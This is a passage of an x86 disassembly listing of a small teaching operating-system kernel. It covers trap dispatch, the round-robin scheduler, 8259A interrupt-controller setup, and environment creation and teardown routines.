f010181b: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
f010181d: 8b 35 ac 04 12 f0 mov 0xf01204ac,%esi
f0101823: 8b 46 28 mov 0x28(%esi),%eax
f0101826: 89 35 00 04 12 f0 mov %esi,0xf0120400
f010182c: 83 f8 0e cmp $0xe,%eax
f010182f: 75 0e jne f010183f <trap+0x74>
f0101831: 83 ec 0c sub $0xc,%esp
f0101834: 56 push %esi
f0101835: e8 93 fa ff ff call f01012cd <page_fault_handler>
f010183a: e9 ac 00 00 00 jmp f01018eb <trap+0x120>
f010183f: 83 f8 03 cmp $0x3,%eax
f0101842: 75 0e jne f0101852 <trap+0x87>
f0101844: 83 ec 0c sub $0xc,%esp
f0101847: 56 push %esi
f0101848: e8 2c f3 ff ff call f0100b79 <monitor>
f010184d: e9 99 00 00 00 jmp f01018eb <trap+0x120>
f0101852: 83 f8 30 cmp $0x30,%eax
f0101855: 75 20 jne f0101877 <trap+0xac>
f0101857: 52 push %edx
f0101858: 52 push %edx
f0101859: ff 76 04 pushl 0x4(%esi)
f010185c: ff 36 pushl (%esi)
f010185e: ff 76 10 pushl 0x10(%esi)
f0101861: ff 76 18 pushl 0x18(%esi)
f0101864: ff 76 14 pushl 0x14(%esi)
f0101867: ff 76 1c pushl 0x1c(%esi)
f010186a: e8 1b fb ff ff call f010138a <syscall>
f010186f: 83 c4 20 add $0x20,%esp
f0101872: 89 46 1c mov %eax,0x1c(%esi)
f0101875: eb 77 jmp f01018ee <trap+0x123>
f0101877: 83 f8 27 cmp $0x27,%eax
f010187a: 75 17 jne f0101893 <trap+0xc8>
f010187c: 83 ec 0c sub $0xc,%esp
f010187f: 68 4d 31 10 f0 push $0xf010314d
f0101884: e8 dd 0b 00 00 call f0102466 <cprintf>
f0101889: 89 34 24 mov %esi,(%esp)
f010188c: e8 d7 f8 ff ff call f0101168 <print_trapframe>
f0101891: eb 58 jmp f01018eb <trap+0x120>
f0101893: 83 f8 20 cmp $0x20,%eax
f0101896: 75 05 jne f010189d <trap+0xd2>
f0101898: e8 d3 00 00 00 call f0101970 <sched_yield>
f010189d: 83 f8 21 cmp $0x21,%eax
f01018a0: 75 07 jne f01018a9 <trap+0xde>
f01018a2: e8 7f f1 ff ff call f0100a26 <kbd_intr>
f01018a7: eb 45 jmp f01018ee <trap+0x123>
f01018a9: 83 f8 24 cmp $0x24,%eax
f01018ac: 75 07 jne f01018b5 <trap+0xea>
f01018ae: e8 89 ef ff ff call f010083c <serial_intr>
f01018b3: eb 39 jmp f01018ee <trap+0x123>
f01018b5: 83 ec 0c sub $0xc,%esp
f01018b8: 56 push %esi
f01018b9: e8 aa f8 ff ff call f0101168 <print_trapframe>
f01018be: 83 c4 10 add $0x10,%esp
f01018c1: 66 83 7e 34 08 cmpw $0x8,0x34(%esi)
f01018c6: 75 15 jne f01018dd <trap+0x112>
f01018c8: 50 push %eax
f01018c9: 68 6a 31 10 f0 push $0xf010316a
f01018ce: 68 f6 00 00 00 push $0xf6
f01018d3: 68 1e 31 10 f0 push $0xf010311e
f01018d8: e8 f4 0c 00 00 call f01025d1 <_panic>
f01018dd: 83 ec 0c sub $0xc,%esp
f01018e0: ff 35 ac 04 12 f0 pushl 0xf01204ac
f01018e6: e8 08 06 00 00 call f0101ef3 <env_destroy>
f01018eb: 83 c4 10 add $0x10,%esp
f01018ee: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f01018f3: 85 c0 test %eax,%eax
f01018f5: 74 a1 je f0101898 <trap+0xcd>
f01018f7: 83 78 54 03 cmpl $0x3,0x54(%eax)
f01018fb: 75 9b jne f0101898 <trap+0xcd>
f01018fd: 83 ec 0c sub $0xc,%esp
f0101900: 50 push %eax
f0101901: e8 58 06 00 00 call f0101f5e <env_run>
f0101906 <sched_halt>:
f0101906: 8b 0d b0 04 12 f0 mov 0xf01204b0,%ecx
f010190c: 31 c0 xor %eax,%eax
f010190e: 8b 54 01 54 mov 0x54(%ecx,%eax,1),%edx
f0101912: 4a dec %edx
f0101913: 83 fa 02 cmp $0x2,%edx
f0101916: 76 2c jbe f0101944 <sched_halt+0x3e>
f0101918: 83 c0 7c add $0x7c,%eax
f010191b: 3d 00 f0 01 00 cmp $0x1f000,%eax
f0101920: 75 ec jne f010190e <sched_halt+0x8>
f0101922: 55 push %ebp
f0101923: 89 e5 mov %esp,%ebp
f0101925: 83 ec 08 sub $0x8,%esp
f0101928: 83 ec 0c sub $0xc,%esp
f010192b: 68 90 33 10 f0 push $0xf0103390
f0101930: e8 31 0b 00 00 call f0102466 <cprintf>
f0101935: 83 c4 10 add $0x10,%esp
f0101938: 83 ec 0c sub $0xc,%esp
f010193b: 6a 00 push $0x0
f010193d: e8 37 f2 ff ff call f0100b79 <monitor>
f0101942: eb f1 jmp f0101935 <sched_halt+0x2f>
f0101944: a1 c4 08 12 f0 mov 0xf01208c4,%eax
f0101949: c7 05 ac 04 12 f0 00 movl $0x0,0xf01204ac
f0101950: 00 00 00
f0101953: 05 00 00 00 10 add $0x10000000,%eax
f0101958: 0f 22 d8 mov %eax,%cr3
f010195b: b8 00 00 00 f0 mov $0xf0000000,%eax
f0101960: bd 00 00 00 00 mov $0x0,%ebp
f0101965: 89 c4 mov %eax,%esp
f0101967: 6a 00 push $0x0
f0101969: 6a 00 push $0x0
f010196b: fb sti
f010196c: f4 hlt
f010196d: eb fd jmp f010196c <sched_halt+0x66>
f010196f: c3 ret
f0101970 <sched_yield>:
f0101970: 8b 15 ac 04 12 f0 mov 0xf01204ac,%edx
f0101976: 55 push %ebp
f0101977: 89 e5 mov %esp,%ebp
f0101979: 56 push %esi
f010197a: 53 push %ebx
f010197b: 31 db xor %ebx,%ebx
f010197d: 85 d2 test %edx,%edx
f010197f: 74 09 je f010198a <sched_yield+0x1a>
f0101981: 8b 5a 48 mov 0x48(%edx),%ebx
f0101984: 81 e3 ff 03 00 00 and $0x3ff,%ebx
f010198a: 8b 35 b0 04 12 f0 mov 0xf01204b0,%esi
f0101990: 31 c9 xor %ecx,%ecx
f0101992: 8d 04 19 lea (%ecx,%ebx,1),%eax
f0101995: 25 ff 03 00 00 and $0x3ff,%eax
f010199a: 6b c0 7c imul $0x7c,%eax,%eax
f010199d: 01 f0 add %esi,%eax
f010199f: 83 78 54 02 cmpl $0x2,0x54(%eax)
f01019a3: 75 06 jne f01019ab <sched_yield+0x3b>
f01019a5: 83 ec 0c sub $0xc,%esp
f01019a8: 50 push %eax
f01019a9: eb 17 jmp f01019c2 <sched_yield+0x52>
f01019ab: 41 inc %ecx
f01019ac: 81 f9 00 04 00 00 cmp $0x400,%ecx
f01019b2: 75 de jne f0101992 <sched_yield+0x22>
f01019b4: 85 d2 test %edx,%edx
f01019b6: 74 0f je f01019c7 <sched_yield+0x57>
f01019b8: 83 7a 54 03 cmpl $0x3,0x54(%edx)
f01019bc: 75 09 jne f01019c7 <sched_yield+0x57>
f01019be: 83 ec 0c sub $0xc,%esp
f01019c1: 52 push %edx
f01019c2: e8 97 05 00 00 call f0101f5e <env_run>
f01019c7: 8d 65 f8 lea -0x8(%ebp),%esp
f01019ca: 5b pop %ebx
f01019cb: 5e pop %esi
f01019cc: 5d pop %ebp
f01019cd: e9 34 ff ff ff jmp f0101906 <sched_halt>
f01019d2 <irq_setmask_8259A>:
f01019d2: 55 push %ebp
f01019d3: 80 3d a8 04 12 f0 00 cmpb $0x0,0xf01204a8
f01019da: 89 e5 mov %esp,%ebp
f01019dc: 56 push %esi
f01019dd: 53 push %ebx
f01019de: 8b 45 08 mov 0x8(%ebp),%eax
f01019e1: 0f b7 d8 movzwl %ax,%ebx
f01019e4: 66 a3 46 e3 10 f0 mov %ax,0xf010e346
f01019ea: 74 4e je f0101a3a <irq_setmask_8259A+0x68>
f01019ec: ba 21 00 00 00 mov $0x21,%edx
f01019f1: ee out %al,(%dx)
f01019f2: 66 c1 e8 08 shr $0x8,%ax
f01019f6: b2 a1 mov $0xa1,%dl
f01019f8: ee out %al,(%dx)
f01019f9: 83 ec 0c sub $0xc,%esp
f01019fc: 31 f6 xor %esi,%esi
f01019fe: f7 d3 not %ebx
f0101a00: 68 b9 33 10 f0 push $0xf01033b9
f0101a05: e8 5c 0a 00 00 call f0102466 <cprintf>
f0101a0a: 83 c4 10 add $0x10,%esp
f0101a0d: 0f a3 f3 bt %esi,%ebx
f0101a10: 73 10 jae f0101a22 <irq_setmask_8259A+0x50>
f0101a12: 50 push %eax
f0101a13: 50 push %eax
f0101a14: 56 push %esi
f0101a15: 68 48 34 10 f0 push $0xf0103448
f0101a1a: e8 47 0a 00 00 call f0102466 <cprintf>
f0101a1f: 83 c4 10 add $0x10,%esp
f0101a22: 46 inc %esi
f0101a23: 83 fe 10 cmp $0x10,%esi
f0101a26: 75 e5 jne f0101a0d <irq_setmask_8259A+0x3b>
f0101a28: c7 45 08 09 2b 10 f0 movl $0xf0102b09,0x8(%ebp)
f0101a2f: 8d 65 f8 lea -0x8(%ebp),%esp
f0101a32: 5b pop %ebx
f0101a33: 5e pop %esi
f0101a34: 5d pop %ebp
f0101a35: e9 2c 0a 00 00 jmp f0102466 <cprintf>
f0101a3a: 8d 65 f8 lea -0x8(%ebp),%esp
f0101a3d: 5b pop %ebx
f0101a3e: 5e pop %esi
f0101a3f: 5d pop %ebp
f0101a40: c3 ret
f0101a41 <pic_init>:
f0101a41: 55 push %ebp
f0101a42: b0 ff mov $0xff,%al
f0101a44: 89 e5 mov %esp,%ebp
f0101a46: 57 push %edi
f0101a47: 56 push %esi
f0101a48: 53 push %ebx
f0101a49: bb 21 00 00 00 mov $0x21,%ebx
f0101a4e: 89 da mov %ebx,%edx
f0101a50: 83 ec 0c sub $0xc,%esp
f0101a53: c6 05 a8 04 12 f0 01 movb $0x1,0xf01204a8
f0101a5a: ee out %al,(%dx)
f0101a5b: b9 a1 00 00 00 mov $0xa1,%ecx
f0101a60: 89 ca mov %ecx,%edx
f0101a62: ee out %al,(%dx)
f0101a63: bf 11 00 00 00 mov $0x11,%edi
f0101a68: be 20 00 00 00 mov $0x20,%esi
f0101a6d: 89 f8 mov %edi,%eax
f0101a6f: 89 f2 mov %esi,%edx
f0101a71: ee out %al,(%dx)
f0101a72: b0 20 mov $0x20,%al
f0101a74: 89 da mov %ebx,%edx
f0101a76: ee out %al,(%dx)
f0101a77: b0 04 mov $0x4,%al
f0101a79: ee out %al,(%dx)
f0101a7a: b0 03 mov $0x3,%al
f0101a7c: ee out %al,(%dx)
f0101a7d: b3 a0 mov $0xa0,%bl
f0101a7f: 89 f8 mov %edi,%eax
f0101a81: 89 da mov %ebx,%edx
f0101a83: ee out %al,(%dx)
f0101a84: b0 28 mov $0x28,%al
f0101a86: 89 ca mov %ecx,%edx
f0101a88: ee out %al,(%dx)
f0101a89: b0 02 mov $0x2,%al
f0101a8b: ee out %al,(%dx)
f0101a8c: b0 01 mov $0x1,%al
f0101a8e: ee out %al,(%dx)
f0101a8f: bf 68 00 00 00 mov $0x68,%edi
f0101a94: 89 f2 mov %esi,%edx
f0101a96: 89 f8 mov %edi,%eax
f0101a98: ee out %al,(%dx)
f0101a99: b1 0a mov $0xa,%cl
f0101a9b: 88 c8 mov %cl,%al
f0101a9d: ee out %al,(%dx)
f0101a9e: 89 f8 mov %edi,%eax
f0101aa0: 89 da mov %ebx,%edx
f0101aa2: ee out %al,(%dx)
f0101aa3: 88 c8 mov %cl,%al
f0101aa5: ee out %al,(%dx)
f0101aa6: 0f b7 05 46 e3 10 f0 movzwl 0xf010e346,%eax
f0101aad: 66 83 f8 ff cmp $0xffff,%ax
f0101ab1: 74 0c je f0101abf <pic_init+0x7e>
f0101ab3: 83 ec 0c sub $0xc,%esp
f0101ab6: 50 push %eax
f0101ab7: e8 16 ff ff ff call f01019d2 <irq_setmask_8259A>
f0101abc: 83 c4 10 add $0x10,%esp
f0101abf: 8d 65 f4 lea -0xc(%ebp),%esp
f0101ac2: 5b pop %ebx
f0101ac3: 5e pop %esi
f0101ac4: 5f pop %edi
f0101ac5: 5d pop %ebp
f0101ac6: c3 ret
f0101ac7 <region_alloc.isra.1>:
f0101ac7: 55 push %ebp
f0101ac8: 89 e5 mov %esp,%ebp
f0101aca: 57 push %edi
f0101acb: 56 push %esi
f0101acc: 53 push %ebx
f0101acd: 89 c6 mov %eax,%esi
f0101acf: 89 d7 mov %edx,%edi
f0101ad1: 31 db xor %ebx,%ebx
f0101ad3: 83 ec 1c sub $0x1c,%esp
f0101ad6: 89 4d e4 mov %ecx,-0x1c(%ebp)
f0101ad9: 3b 5d e4 cmp -0x1c(%ebp),%ebx
f0101adc: 73 3f jae f0101b1d <region_alloc.isra.1+0x56>
f0101ade: 83 ec 0c sub $0xc,%esp
f0101ae1: 6a 00 push $0x0
f0101ae3: e8 77 e6 ff ff call f010015f <page_alloc>
f0101ae8: 83 c4 10 add $0x10,%esp
f0101aeb: 85 c0 test %eax,%eax
f0101aed: 75 15 jne f0101b04 <region_alloc.isra.1+0x3d>
f0101aef: 50 push %eax
f0101af0: 68 cd 33 10 f0 push $0xf01033cd
f0101af5: 68 28 01 00 00 push $0x128
f0101afa: 68 ee 33 10 f0 push $0xf01033ee
f0101aff: e8 cd 0a 00 00 call f01025d1 <_panic>
f0101b04: 8d 14 1f lea (%edi,%ebx,1),%edx
f0101b07: 6a 07 push $0x7
f0101b09: 81 c3 00 10 00 00 add $0x1000,%ebx
f0101b0f: 52 push %edx
f0101b10: 50 push %eax
f0101b11: ff 36 pushl (%esi)
f0101b13: e8 f4 e9 ff ff call f010050c <page_insert>
f0101b18: 83 c4 10 add $0x10,%esp
f0101b1b: eb bc jmp f0101ad9 <region_alloc.isra.1+0x12>
f0101b1d: 8d 65 f4 lea -0xc(%ebp),%esp
f0101b20: 5b pop %ebx
f0101b21: 5e pop %esi
f0101b22: 5f pop %edi
f0101b23: 5d pop %ebp
f0101b24: c3 ret
f0101b25 <envid2env>:
f0101b25: 55 push %ebp
f0101b26: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f0101b2b: 89 e5 mov %esp,%ebp
f0101b2d: 53 push %ebx
f0101b2e: 8b 4d 08 mov 0x8(%ebp),%ecx
f0101b31: 8b 55 0c mov 0xc(%ebp),%edx
f0101b34: 8b 5d 10 mov 0x10(%ebp),%ebx
f0101b37: 85 c9 test %ecx,%ecx
f0101b39: 74 3e je f0101b79 <envid2env+0x54>
f0101b3b: 89 c8 mov %ecx,%eax
f0101b3d: 25 ff 03 00 00 and $0x3ff,%eax
f0101b42: 6b c0 7c imul $0x7c,%eax,%eax
f0101b45: 03 05 b0 04 12 f0 add 0xf01204b0,%eax
f0101b4b: 83 78 54 00 cmpl $0x0,0x54(%eax)
f0101b4f: 74 05 je f0101b56 <envid2env+0x31>
f0101b51: 39 48 48 cmp %ecx,0x48(%eax)
f0101b54: 74 0d je f0101b63 <envid2env+0x3e>
f0101b56: c7 02 00 00 00 00 movl $0x0,(%edx)
f0101b5c: b8 fe ff ff ff mov $0xfffffffe,%eax
f0101b61: eb 1a jmp f0101b7d <envid2env+0x58>
f0101b63: 84 db test %bl,%bl
f0101b65: 74 12 je f0101b79 <envid2env+0x54>
f0101b67: 8b 0d ac 04 12 f0 mov 0xf01204ac,%ecx
f0101b6d: 39 c8 cmp %ecx,%eax
f0101b6f: 74 08 je f0101b79 <envid2env+0x54>
f0101b71: 8b 59 48 mov 0x48(%ecx),%ebx
f0101b74: 39 58 4c cmp %ebx,0x4c(%eax)
f0101b77: 75 dd jne f0101b56 <envid2env+0x31>
f0101b79: 89 02 mov %eax,(%edx)
f0101b7b: 31 c0 xor %eax,%eax
f0101b7d: 5b pop %ebx
f0101b7e: 5d pop %ebp
f0101b7f: c3 ret
f0101b80 <env_init_percpu>:
f0101b80: 55 push %ebp
f0101b81: b8 48 e3 10 f0 mov $0xf010e348,%eax
f0101b86: 89 e5 mov %esp,%ebp
f0101b88: 0f 01 10 lgdtl (%eax)
f0101b8b: b8 23 00 00 00 mov $0x23,%eax
f0101b90: 8e e8 mov %eax,%gs
f0101b92: 8e e0 mov %eax,%fs
f0101b94: b0 10 mov $0x10,%al
f0101b96: 8e c0 mov %eax,%es
f0101b98: 8e d8 mov %eax,%ds
f0101b9a: 8e d0 mov %eax,%ss
f0101b9c: ea a3 1b 10 f0 08 00 ljmp $0x8,$0xf0101ba3
f0101ba3: 30 c0 xor %al,%al
f0101ba5: 0f 00 d0 lldt %ax
f0101ba8: 5d pop %ebp
f0101ba9: c3 ret
f0101baa <env_init>:
f0101baa: 8b 15 b0 04 12 f0 mov 0xf01204b0,%edx
f0101bb0: 55 push %ebp
f0101bb1: 8b 0d b4 04 12 f0 mov 0xf01204b4,%ecx
f0101bb7: 89 e5 mov %esp,%ebp
f0101bb9: 56 push %esi
f0101bba: 53 push %ebx
f0101bbb: 8d 82 84 ef 01 00 lea 0x1ef84(%edx),%eax
f0101bc1: 8d 5a 84 lea -0x7c(%edx),%ebx
f0101bc4: 89 48 44 mov %ecx,0x44(%eax)
f0101bc7: 89 c6 mov %eax,%esi
f0101bc9: c7 40 48 00 00 00 00 movl $0x0,0x48(%eax)
f0101bd0: c7 40 54 00 00 00 00 movl $0x0,0x54(%eax)
f0101bd7: 83 e8 7c sub $0x7c,%eax
f0101bda: 89 f1 mov %esi,%ecx
f0101bdc: 39 d8 cmp %ebx,%eax
f0101bde: 75 e4 jne f0101bc4 <env_init+0x1a>
f0101be0: 5b pop %ebx
f0101be1: 5e pop %esi
f0101be2: 5d pop %ebp
f0101be3: 89 15 b4 04 12 f0 mov %edx,0xf01204b4
f0101be9: eb 95 jmp f0101b80 <env_init_percpu>
f0101beb <env_alloc>:
f0101beb: 55 push %ebp
f0101bec: b8 fb ff ff ff mov $0xfffffffb,%eax
f0101bf1: 89 e5 mov %esp,%ebp
f0101bf3: 56 push %esi
f0101bf4: 53 push %ebx
f0101bf5: 8b 1d b4 04 12 f0 mov 0xf01204b4,%ebx
f0101bfb: 85 db test %ebx,%ebx
f0101bfd: 0f 84 13 01 00 00 je f0101d16 <env_alloc+0x12b>
f0101c03: 83 ec 0c sub $0xc,%esp
f0101c06: 6a 01 push $0x1
f0101c08: e8 52 e5 ff ff call f010015f <page_alloc>
f0101c0d: 89 c6 mov %eax,%esi
f0101c0f: 83 c4 10 add $0x10,%esp
f0101c12: b8 fc ff ff ff mov $0xfffffffc,%eax
f0101c17: 85 f6 test %esi,%esi
f0101c19: 0f 84 f7 00 00 00 je f0101d16 <env_alloc+0x12b>
f0101c1f: 89 f2 mov %esi,%edx
f0101c21: 2b 15 c8 08 12 f0 sub 0xf01208c8,%edx
f0101c27: c1 fa 03 sar $0x3,%edx
f0101c2a: c1 e2 0c shl $0xc,%edx
f0101c2d: 81 ea 00 00 00 10 sub $0x10000000,%edx
f0101c33: 89 53 60 mov %edx,0x60(%ebx)
f0101c36: 51 push %ecx
f0101c37: 68 00 10 00 00 push $0x1000
f0101c3c: ff 35 c4 08 12 f0 pushl 0xf01208c4
f0101c42: 52 push %edx
f0101c43: e8 81 0c 00 00 call f01028c9 <memcpy>
f0101c48: 66 ff 46 04 incw 0x4(%esi)
f0101c4c: 83 c4 0c add $0xc,%esp
f0101c4f: 8b 53 60 mov 0x60(%ebx),%edx
f0101c52: 8d 82 00 00 00 10 lea 0x10000000(%edx),%eax
f0101c58: 83 c8 05 or $0x5,%eax
f0101c5b: 89 82 f4 0e 00 00 mov %eax,0xef4(%edx)
f0101c61: 8b 43 48 mov 0x48(%ebx),%eax
f0101c64: ba 00 10 00 00 mov $0x1000,%edx
f0101c69: c7 43 50 00 00 00 00 movl $0x0,0x50(%ebx)
f0101c70: c7 43 54 02 00 00 00 movl $0x2,0x54(%ebx)
f0101c77: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
f0101c7e: 05 00 10 00 00 add $0x1000,%eax
f0101c83: 25 00 fc ff ff and $0xfffffc00,%eax
f0101c88: 0f 4e c2 cmovle %edx,%eax
f0101c8b: 89 da mov %ebx,%edx
f0101c8d: 2b 15 b0 04 12 f0 sub 0xf01204b0,%edx
f0101c93: c1 fa 02 sar $0x2,%edx
f0101c96: 69 d2 df 7b ef bd imul $0xbdef7bdf,%edx,%edx
f0101c9c: 09 d0 or %edx,%eax
f0101c9e: 89 43 48 mov %eax,0x48(%ebx)
f0101ca1: 8b 45 0c mov 0xc(%ebp),%eax
f0101ca4: 89 43 4c mov %eax,0x4c(%ebx)
f0101ca7: 6a 44 push $0x44
f0101ca9: 6a 00 push $0x0
f0101cab: 53 push %ebx
f0101cac: e8 63 0b 00 00 call f0102814 <memset>
f0101cb1: 8b 43 44 mov 0x44(%ebx),%eax
f0101cb4: 81 4b 38 00 02 00 00 orl $0x200,0x38(%ebx)
f0101cbb: 83 c4 10 add $0x10,%esp
f0101cbe: 66 c7 43 24 23 00 movw $0x23,0x24(%ebx)
f0101cc4: 66 c7 43 20 23 00 movw $0x23,0x20(%ebx)
f0101cca: 66 c7 43 40 23 00 movw $0x23,0x40(%ebx)
f0101cd0: c7 43 3c 00 e0 bf ee movl $0xeebfe000,0x3c(%ebx)
f0101cd7: a3 b4 04 12 f0 mov %eax,0xf01204b4
f0101cdc: 8b 45 08 mov 0x8(%ebp),%eax
f0101cdf: 66 c7 43 34 1b 00 movw $0x1b,0x34(%ebx)
f0101ce5: c7 43 64 00 00 00 00 movl $0x0,0x64(%ebx)
f0101cec: c6 43 68 00 movb $0x0,0x68(%ebx)
f0101cf0: 89 18 mov %ebx,(%eax)
f0101cf2: 8b 15 ac 04 12 f0 mov 0xf01204ac,%edx
f0101cf8: 31 c0 xor %eax,%eax
f0101cfa: 8b 4b 48 mov 0x48(%ebx),%ecx
f0101cfd: 85 d2 test %edx,%edx
f0101cff: 74 03 je f0101d04 <env_alloc+0x119>
f0101d01: 8b 42 48 mov 0x48(%edx),%eax
f0101d04: 52 push %edx
f0101d05: 51 push %ecx
f0101d06: 50 push %eax
f0101d07: 68 f4 33 10 f0 push $0xf01033f4
f0101d0c: e8 55 07 00 00 call f0102466 <cprintf>
f0101d11: 83 c4 10 add $0x10,%esp
f0101d14: 31 c0 xor %eax,%eax
f0101d16: 8d 65 f8 lea -0x8(%ebp),%esp
f0101d19: 5b pop %ebx
f0101d1a: 5e pop %esi
f0101d1b: 5d pop %ebp
f0101d1c: c3 ret
f0101d1d <env_create>:
f0101d1d: 55 push %ebp
f0101d1e: 89 e5 mov %esp,%ebp
f0101d20: 57 push %edi
f0101d21: 56 push %esi
f0101d22: 53 push %ebx
f0101d23: 8d 45 e4 lea -0x1c(%ebp),%eax
f0101d26: 83 ec 34 sub $0x34,%esp
f0101d29: 8b 7d 08 mov 0x8(%ebp),%edi
f0101d2c: 6a 00 push $0x0
f0101d2e: 50 push %eax
f0101d2f: e8 b7 fe ff ff call f0101beb <env_alloc>
f0101d34: 83 c4 10 add $0x10,%esp
f0101d37: 83 7d 0c 01 cmpl $0x1,0xc(%ebp)
f0101d3b: 8b 75 e4 mov -0x1c(%ebp),%esi
f0101d3e: 75 07 jne f0101d47 <env_create+0x2a>
f0101d40: 81 4e 38 00 30 00 00 orl $0x3000,0x38(%esi)
f0101d47: 81 76 38 00 02 00 00 xorl $0x200,0x38(%esi)
f0101d4e: 0f b7 47 2c movzwl 0x2c(%edi),%eax
f0101d52: 8b 5f 1c mov 0x1c(%edi),%ebx
f0101d55: 01 fb add %edi,%ebx
f0101d57: c1 e0 05 shl $0x5,%eax
f0101d5a: 01 d8 add %ebx,%eax
f0101d5c: 89 45 d4 mov %eax,-0x2c(%ebp)
f0101d5f: 8b 46 60 mov 0x60(%esi),%eax
f0101d62: 05 00 00 00 10 add $0x10000000,%eax
f0101d67: 0f 22 d8 mov %eax,%cr3
f0101d6a: 8d 46 60 lea 0x60(%esi),%eax
f0101d6d: 89 45 d0 mov %eax,-0x30(%ebp)
f0101d70: 3b 5d d4 cmp -0x2c(%ebp),%ebx
f0101d73: 73 3d jae f0101db2 <env_create+0x95>
f0101d75: 83 3b 01 cmpl $0x1,(%ebx)
f0101d78: 75 33 jne f0101dad <env_create+0x90>
f0101d7a: 8b 45 d0 mov -0x30(%ebp),%eax
f0101d7d: 8b 4b 14 mov 0x14(%ebx),%ecx
f0101d80: 8b 53 08 mov 0x8(%ebx),%edx
f0101d83: e8 3f fd ff ff call f0101ac7 <region_alloc.isra.1>
f0101d88: 50 push %eax
f0101d89: ff 73 14 pushl 0x14(%ebx)
f0101d8c: 6a 00 push $0x0
f0101d8e: ff 73 08 pushl 0x8(%ebx)
f0101d91: e8 7e 0a 00 00 call f0102814 <memset>
f0101d96: 83 c4 0c add $0xc,%esp
f0101d99: ff 73 10 pushl 0x10(%ebx)
f0101d9c: 8b 43 04 mov 0x4(%ebx),%eax
f0101d9f: 01 f8 add %edi,%eax
f0101da1: 50 push %eax
f0101da2: ff 73 08 pushl 0x8(%ebx)
f0101da5: e8 1f 0b 00 00 call f01028c9 <memcpy>
f0101daa: 83 c4 10 add $0x10,%esp
f0101dad: 83 c3 20 add $0x20,%ebx
f0101db0: eb be jmp f0101d70 <env_create+0x53>
f0101db2: a1 c4 08 12 f0 mov 0xf01208c4,%eax
f0101db7: 05 00 00 00 10 add $0x10000000,%eax
f0101dbc: 0f 22 d8 mov %eax,%cr3
f0101dbf: 8b 47 18 mov 0x18(%edi),%eax
f0101dc2: ba 00 d0 bf ee mov $0xeebfd000,%edx
f0101dc7: b9 00 10 00 00 mov $0x1000,%ecx
f0101dcc: 89 46 30 mov %eax,0x30(%esi)
f0101dcf: 8d 46 60 lea 0x60(%esi),%eax
f0101dd2: e8 f0 fc ff ff call f0101ac7 <region_alloc.isra.1>
f0101dd7: 8b 45 e4 mov -0x1c(%ebp),%eax
f0101dda: 8b 55 0c mov 0xc(%ebp),%edx
f0101ddd: 89 50 50 mov %edx,0x50(%eax)
f0101de0: 8d 65 f4 lea -0xc(%ebp),%esp
f0101de3: 5b pop %ebx
f0101de4: 5e pop %esi
f0101de5: 5f pop %edi
f0101de6: 5d pop %ebp
f0101de7: c3 ret
f0101de8 <env_free>:
f0101de8: 55 push %ebp
f0101de9: 89 e5 mov %esp,%ebp
f0101deb: 57 push %edi
f0101dec: 56 push %esi
f0101ded: 53 push %ebx
f0101dee: 83 ec 1c sub $0x1c,%esp
f0101df1: 8b 5d 08 mov 0x8(%ebp),%ebx
f0101df4: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f0101df9: 39 c3 cmp %eax,%ebx
f0101dfb: 75 0f jne f0101e0c <env_free+0x24>
f0101dfd: 8b 0d c4 08 12 f0 mov 0xf01208c4,%ecx
f0101e03: 8d 91 00 00 00 10 lea 0x10000000(%ecx),%edx
f0101e09: 0f 22 da mov %edx,%cr3
f0101e0c: 31 d2 xor %edx,%edx
f0101e0e: 85 c0 test %eax,%eax
f0101e10: 8b 4b 48 mov 0x48(%ebx),%ecx
f0101e13: 74 03 je f0101e18 <env_free+0x30>
f0101e15: 8b 50 48 mov 0x48(%eax),%edx
f0101e18: 56 push %esi
f0101e19: 51 push %ecx
f0101e1a: 31 ff xor %edi,%edi
f0101e1c: 52 push %edx
f0101e1d: 68 09 34 10 f0 push $0xf0103409
f0101e22: e8 3f 06 00 00 call f0102466 <cprintf>
f0101e27: 83 c4 10 add $0x10,%esp
f0101e2a: 8b 43 60 mov 0x60(%ebx),%eax
f0101e2d: 8d 0c bd 00 00 00 00 lea 0x0(,%edi,4),%ecx
f0101e34: 8b 34 b8 mov (%eax,%edi,4),%esi
f0101e37: f7 c6 01 00 00 00 test $0x1,%esi
f0101e3d: 74 63 je f0101ea2 <env_free+0xba>
f0101e3f: 89 f8 mov %edi,%eax
f0101e41: 81 e6 00 f0 ff ff and $0xfffff000,%esi
f0101e47: c1 e0 16 shl $0x16,%eax
f0101e4a: 89 45 e4 mov %eax,-0x1c(%ebp)
f0101e4d: 31 c0 xor %eax,%eax
f0101e4f: f6 84 86 00 00 00 f0 testb $0x1,-0x10000000(%esi,%eax,4)
f0101e56: 01
f0101e57: 74 22 je f0101e7b <env_free+0x93>
f0101e59: 52 push %edx
f0101e5a: 52 push %edx
f0101e5b: 89 c2 mov %eax,%edx
f0101e5d: c1 e2 0c shl $0xc,%edx
f0101e60: 0b 55 e4 or -0x1c(%ebp),%edx
f0101e63: 89 4d dc mov %ecx,-0x24(%ebp)
f0101e66: 89 45 e0 mov %eax,-0x20(%ebp)
f0101e69: 52 push %edx
f0101e6a: ff 73 60 pushl 0x60(%ebx)
f0101e6d: e8 47 e6 ff ff call f01004b9 <page_remove>
f0101e72: 8b 4d dc mov -0x24(%ebp),%ecx
f0101e75: 8b 45 e0 mov -0x20(%ebp),%eax
f0101e78: 83 c4 10 add $0x10,%esp
f0101e7b: 40 inc %eax
f0101e7c: 3d 00 04 00 00 cmp $0x400,%eax
f0101e81: 75 cc jne f0101e4f <env_free+0x67>
f0101e83: 8b 43 60 mov 0x60(%ebx),%eax
f0101e86: c1 ee 09 shr $0x9,%esi
f0101e89: 83 ec 0c sub $0xc,%esp
f0101e8c: c7 04 08 00 00 00 00 movl $0x0,(%eax,%ecx,1)
f0101e93: 03 35 c8 08 12 f0 add 0xf01208c8,%esi
f0101e99: 56 push %esi
f0101e9a: e8 54 e3 ff ff call f01001f3 <page_decref>
f0101e9f: 83 c4 10 add $0x10,%esp
f0101ea2: 47 inc %edi
f0101ea3: 81 ff bb 03 00 00 cmp $0x3bb,%edi
f0101ea9: 0f 85 7b ff ff ff jne f0101e2a <env_free+0x42>
f0101eaf: 8b 43 60 mov 0x60(%ebx),%eax
f0101eb2: 8b 15 c8 08 12 f0 mov 0xf01208c8,%edx
f0101eb8: 83 ec 0c sub $0xc,%esp
f0101ebb: c7 43 60 00 00 00 00 movl $0x0,0x60(%ebx)
